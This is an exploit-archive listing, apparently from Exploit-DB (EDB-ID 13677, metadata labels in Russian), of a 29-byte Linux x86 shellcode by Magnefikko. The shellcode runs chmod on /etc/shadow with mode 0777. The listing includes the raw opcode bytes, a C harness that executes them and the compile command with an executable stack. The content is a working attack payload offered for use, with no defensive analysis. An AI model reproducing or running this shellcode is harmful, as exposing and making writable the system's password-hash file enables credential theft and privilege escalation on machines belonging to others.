Exploit Linux/x86 - chmod 0777 /etc/shadow Shellcode (29 bytes)

[Exploiter]

EDB-ID

13677

Проверка EDB

1. Пройдено

Автор

MAGNEFIKKO

Тип уязвимости

SHELLCODE

Платформа

LINUX_X86

CVE

N/A

Дата публикации

2010-04-19

#include <stdio.h>
#include <string.h>

/*
by Magnefikko
20.04.2010
[email protected]
promhyl.oz.pl
Subgroup: #PRekambr
Name: 29 bytes chmod("/etc/shadow", 0777) shellcode
Platform: Linux x86

chmod("/etc/shadow", 0777);

gcc -Wl,-z,execstack filename.c

shellcode:

\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x66\x68\xff\x01\x59\xb0\x0f\xcd\x80

*/


int main(){
char shell[] =
"\x31\xc0\x50\x68\x61\x64\x6f\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x89\xe3\x66\x68\xff\x01\x59\xb0\x0f\xcd\x80";
printf("by Magnefikko\[email protected]\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
(*(void (*)()) shell)();
}